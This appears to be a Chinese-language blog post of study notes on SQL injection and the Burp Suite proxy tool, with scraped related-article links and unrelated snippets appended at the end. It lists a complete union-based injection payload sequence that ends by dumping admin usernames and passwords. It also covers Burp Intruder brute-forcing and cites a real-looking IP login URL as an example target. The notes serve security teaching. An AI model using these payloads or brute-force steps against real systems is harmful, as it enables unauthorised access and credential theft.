SQL注入与burPsuit工具介绍
sql注入原理
- 原理:用户输入不可控,用户输入导致了sql语义发生了改变
- 用户输入不可控:网站不能控制普通用户的输入
- sql语义发生变化:
- 动态网页介绍:
- 网站数据请求
- 脚本语言:解释类语言,如,后端语言php/jsp/asp/aspx
- URL的构成
- 数据请求的方式
- GET:随着URL传输,传输数据量较小,不能传输铭感信息
- POST:在请求正文中传输,传输的数据量较大,可传输任何信息
- sql注入的类型
- 按数据类型分
- 字符型
- 数字型
- 安数据传输方式分
- GET型
- POST型
- 按数据类型分
- sql注入发生的位置:
- 演示网站
- 原理:用户输入不可控,用户输入导致了sql语义发生了改变
回显注入
回显注入的原理
sql注入后的结果会出现到网页页面上。
核心点就是union
sql语言回顾
增
- INSERT INTO table_name VALUES (value1,value2,value3,...);
- INSERT INTO table_name (column1,column2,column3,...) VALUES (value1,value2,value3,...);
删 DELETE FROM Websites WHERE name='Facebook' AND country='USA';
改
UPDATE table_name SET column1=value1,column2=value2,... WHERE some_column=some_value;
查
回显注入的流程
- 找数据输入点
- 找有数据输出
- 判断注入类型 使用单双引号、注释符判断
- 确认漏洞是否存在:1' or 1=1 和1' or 1=2
- 判断列数 1' order by 1
- 判断回显位置 0' union select 1
- 找当前数据库 0' union select database()
- 找所有数据库名0' union select group_concat(schema_name) from information_schema.schemata
- 找所有的表名:0' union select group_concat(table_name) from information_schema.tables where table_schema='grade'
- 找所有字段名:0' union select group_concat(column_name) from information_schema.columns where table_schema='grade' and table_name='admins'
- 获取数据:0' union select group_concat(username,'~',password) from admins
特殊的库表
- 数据库的结构:库--->表--->字段(列名)--->数据。
- 特殊库:information_schema----->整个DBMS数据库信息
- schemata--->存有所有的库名 schema_name
- tables------->存有所有表的信息 table_schema 库 table_name 表
- columns---->存有所有字段的信息 table_schema 库 table_name 表 column_name 字段
burpsuite
burpsuite的安装
burpsuite的功能介绍
专业版含有漏洞扫描的功能,社区版没有此功能
- 破解版不能保证自身电脑的安全型
核心功能:拦截数据包,并且篡改数据包
proxy:拦截数据包
forward:提交数据包
drop:丢弃数据包---数据包不会到达服务器
intercept:选择burpsuite的工作状态
- on:处于拦截状态
- off:处于不抓包状态----数据包直接提交到服务器
action:调用数据包处理工具
数据包状态
raw:完整的数据包
params:传输的数据
header:请求数据用表格的形式展示
hex:16进制展示底层数据。
HTTP history
- 展示拦截数据包的历史信息。
options:
proxy listeners:选择代理连接信息
- add:添加代理信息
- edit:编辑,修改代理信息,选中需要修改的代理条目------>点击edit----->弹框中修改IP或端口
- remove:删除代理信息,选中需删除的代理条目---->点击remove
intercept server response
作用:开启或关闭响应拦截状态
repeater
- 作用:数据包重放。
- 用处:
- 重放攻击
- sql注入\文件上传\XSS等绕过
intruder
作用是暴力破解
target展示出的是请求的服务的信息
positsions:选择暴力破解的点于破解方式
- sniper:破解一个地方
- Nattering ram:可破解多个地方,但破解的点数据一样
- pitch fork:可破解多个相关性的点
- cluster bomb:可破解多个点,且多个点之间没有任何联系
payloads:设置字典
payload sets:选择为那一个破解点设置字典
payload options:放置字典
- paste
- load:加载字典文件
- remove:删除字典条目
- clear:删除全部字典数据
- add:手工添加字典
啊实打实
burpsuite数据包操作
开代理
firefox开代理:菜单--->选项--->高级--->网络--->连接--->设置---->手动配置代理
(浏览的代理于burpsuite中设定的代理的ip源端口要一样)
阿斯顿
大苏打
burpsuite暴力破解
暴力破解的原理
- 枚举-----试一试
- 简单---原理操作简单
暴力破解的操作。
- 安装插件:extender--->Bapp store--->install
暴力破解的难点
- 效率低
- 对有效字典的要求较高
- 对算法要求较高
- 对设备要求较高
暴力破解优化
- 信息收集---社工:http://221.237.108.18:8090/tyjgl/login.jsp#
- 多线程
SQL注入与burPsuit工具介绍的更多相关文章
- RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具
无事早上就去逛freebuf看到一款不错的工具,打算介绍给大家 RED_HAWK:基于PHP实现的信息收集与SQL注入漏洞扫描工具 RED HAWK 最新版本:v1.0.0[2017年6月11日] 下 ...
- SQL注入之常用工具sqlmap
通常来说,验证一个页面是否存在注入漏洞比较简单,而要获取数据,扩大权限,则要输入很复杂的SQL语句,有时候我们还会对大量的URL进行测试,这时就需要用到工具来帮助我们进行注入了. 目前流行的注入工具有 ...
- [W3bsafe]分享一个爬SQL注入漏洞的工具
分享一个爬SQL注入的工具 本文转自:i春秋社区由团队核心成员若间开发把工具放到E盘的一个文件夹 他会自动生成一个文本文件 Result.txt 最大页数 自己想弄填多少就填多少关键词 注入点关键词 ...
- web安全之SQL注入--第一章 课程介绍
课程介绍1.什么是SQL注入?2.如何寻找SQL注入漏洞?3.如何进行sql注入攻击?4.如何预防sql注入5.课程总结
- [初学Python]编写一个最简单判断SQL注入的检测工具
0x01 背景 15年那会,几乎可以说是渗透最火的一年,各种教程各种文章,本人也是有幸在那几年学到了一些皮毛,中间因学业问题将其荒废至今.当初最早学的便是,and 1=1 和 and 1=2 这最简单 ...
- SQLiScanner:又一款基于SQLMAP和Charles的被动SQL 注入漏洞扫描工具
https://blog.csdn.net/qq_27446553/article/details/52610095
- 防止sql注入和sqlmap介绍
sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...
- 一、JDBC的概述 二、通过JDBC实现对数据的CRUD操作 三、封装JDBC访问数据的工具类 四、通过JDBC实现登陆和注册 五、防止SQL注入
一.JDBC的概述###<1>概念 JDBC:java database connection ,java数据库连接技术 是java内部提供的一套操作数据库的接口(面向接口编程),实现对数 ...
- SQL注入—我是如何一步步攻破一家互联网公司的
最近在研究Web安全相关的知识,特别是SQL注入类的相关知识.接触了一些与SQL注入相关的工具.周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞.不试不知道,一 ...
随机推荐
- Linux C中strcpy , strncpy , strlcpy 的区别
strcpy ,strncpy ,strlcpy的用法 好多人已经知道利用strncpy替代strcpy来防止缓冲区越界. 但是如果还要考虑运行效率的话,也许strlcpy是一个更好的方式. 1. s ...
- Qt Designer中自定义控件的使用(提升法与插件法)
准备乱写一点Qt自定义Widget在Designer中的使用.可是又不想重复提升法(promotion)及插件法基本用法,因为Manual中Using Custom Widgets with Qt D ...
- 浅析Java断言
Java断言 1.断言的概念 Java的断言机制assert是一种用于测试阶段的语法特性,它允许我们在测试期间向代码中插入一些检查语句.代码发布时这些检测语句将被自动移除. 断言关键字assert有下 ...
- Git(12)-- Git 分支 - 分支简介
@ 目录 1.分支简介 1.1.初始化并首次提交 首次提交对象及其树结构: git 的 cat-file 的命令用法: 1.2.修改并第二次提交 第二次提交对象及其树结构: 1.3.修改并第三次提交 ...
- selenium处理:您的连接不是私密连接的网站(https ssl 证书)
当前我们遇到这样的问题,就要通过代码的层面去解决 requests的话verify参数设置为False selenium的话添加参数:--ignore-certificate-errors 测试代码: ...
- SQL 练习13
查询没学过"张三"老师讲授的任一门课程的学生姓名 SELECT * from Student WHERE SId not in ( SELECT SC.SId from Teach ...
- mongodb+docker数据卷实现数据持久化
# 拉取镜像docker pull mongo:4.0.22# 启动容器,挂载本地目录 docker run -itd --name mongo -p 27017:27017 -v $PWD/mong ...
- 05.SpringMVC之请求映射
@RequestMapping是一个用来处理请求地址映射的注解,可用于类或者方法上.用于类上,表示类中的所有响应请求的方法都是以该地址作为父路径. @RequestMapping注解有六个属性,下面进 ...
- Linux 安装配置 NET模式网络环境配置
1.下载linux:发行版 Ubuntu REdHat centos Debain Fedora,SUSE,OpenSUSEcentos 6.xcentos 7.x在虚拟机(VmWare)上 安装l ...
- SprngCloud微服务框架搭建(一)
参照来源 :https://blog.csdn.net/forezp/article/details/70148833 1.简介 目前来说,SpringCloud是比较完整的微服务解决方案框架.不像其 ...